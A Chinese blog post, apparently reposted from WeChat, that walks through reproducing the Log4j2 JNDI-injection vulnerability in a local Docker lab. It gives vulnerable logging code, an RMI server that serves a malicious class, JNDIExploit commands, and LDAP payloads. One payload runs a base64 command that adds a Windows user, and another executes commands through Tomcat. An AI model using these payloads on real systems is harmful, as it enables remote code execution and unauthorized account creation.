Log4j漏洞全方位解析

admin 2022年3月15日01:37:33评论106 views字数 3210阅读10分42秒阅读模式

Log4j 漏洞复现利用

Apache Log4j 2.x <= 2.14.1

2.0 <= Apache log4j2 <= 2.14.1


漏洞成因

1.Log4j2漏洞其实是JNDI注入漏洞,在执行

log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");的时候触发

2.当程序将用户输入的数据进行日志记录时,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,比如${jndi:ldap://127.0.0.1/exp}并且执行即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。


漏洞代码(复现1)

Main.java log4j漏洞文件

package com.client;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.LogManager;public class Main {    private static final Logger log = LogManager.getLogger(Main.class);    public static void main(String[] args) {        //默认为false,禁止RMI和CORBA协议使用远程        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        // 执行该日志注入        //JndiExploit利用连接 执行命令net user hackxxx xxxx /add         //log.error("${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}");        // 执行自己写的exp        log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");


Server.java 作用开启RMI服务

package com.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServer {    public static void main(String[] args)throws Exception{        try {            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");            //创建rmi映射表            Registry registrys= LocateRegistry.createRegistry(1097);            //加载的class中需要实例化类的名称            //classFactory - 加载的class中需要实例化类的名称            //3. classFactoryLocation - 提供远程或者本地 classes数据的地址可以是file/ftp/http等协议            Reference reference = new Reference("exp", "exp",  "http://127.0.0.1:8080/");            ReferenceWrapper wrappers = new ReferenceWrapper(reference);            registrys.bind("exp", wrappers);



自写代码复现

1.启动HTTP服务(JSPstudy端口8080) 启动RMI服务(执行Server.java)

2.编译EXP javac c:exp.java 参考JND部分, 把编译好的exp.class放在JSPstudy的web目录,然后RMI服务调用

Reference reference = new Reference("exp", "exp", "http://127.0.0.1:8080/")

exp就是自己编写好的利用代码 把文件名对应写好就可以了 http://127.0.0.1:8080/ web路径

3.简单测试

  弹clac  ${jndi:rmi://127.0.0.1:1097/exp}    dnslog  ${jndi:ldap://u0mhtu.dnslog.cn}  


4.高级测试执行系统命令,使用JNDIExploit

 启动JndiExploit (开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多 claass不用自己在编译如弹计算器,命令执行,dnslog,bypass等。执行如下代码

 java -jar C:JNDIExploit.v1.2JNDIExploi.jar -i 192.168.177.167 -p 8089

 jar -i 192.168.177.167 -p 8089           //本机ip  -p 指定http协议的端口

java -jar C:JNDIExploit.v1.2JNDIExploi.jar -u

 -u           //查看示例链接  这次演示/Basic/Command/Base64/ 需要对要执行的命令进行base64加密

 

${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}


靶场环境复现

1.启动JndiExploit 

(开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多claass不用自己在编译如    弹计算器,命令执行,dnslog,bypass等。执行如下代码

  java -jar C:JNDIExploit.v1.2JNDIExploi.jar -i 192.168.177.167 -p 8089

  jar -i 192.168.177.167 -p 8089           //本机ip  -p 指定http协议的端口

  -u           //查看示例链接

2.开启docker靶场

  service docker start //开启docker

docker pull registry.cn-zhangjiakou.aliyuncs.com/rcs-team/vulnerability:log4j2-rce-2021-12-02  //拉镜像

  docker images //查看镜像

  docker ps -a

  docker run -itd -p 8990:8990 be0c61922043  //启动镜像

  docker ps

  ip a

  docker exec -it 46067b6d4325 /bin/bash  //进入以启动镜像的终端shell

3.访问靶场抓包 

  http://192.168.177.172:8080/hello

  dnslog   ${jndi:ldap://u0mhtu.dnslog.cn}

  命令执行  payload=${jndi:ldap://192.168.177.167:1389/TomcatBypass/TomcatEcho}

                  cmd:ls

演示视频


Log4j漏洞详细复现

链接:https://pan.baidu.com/s/1vcwkt__Iar01tSyoZ17z4g

提取码:1234


Java学习群请加:feigegehacker

原文始发于微信公众号(安全帮Live):Log4j漏洞全方位解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日01:37:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Log4j漏洞全方位解析http://cn-sec.com/archives/829517.html

发表评论

匿名网友 填写信息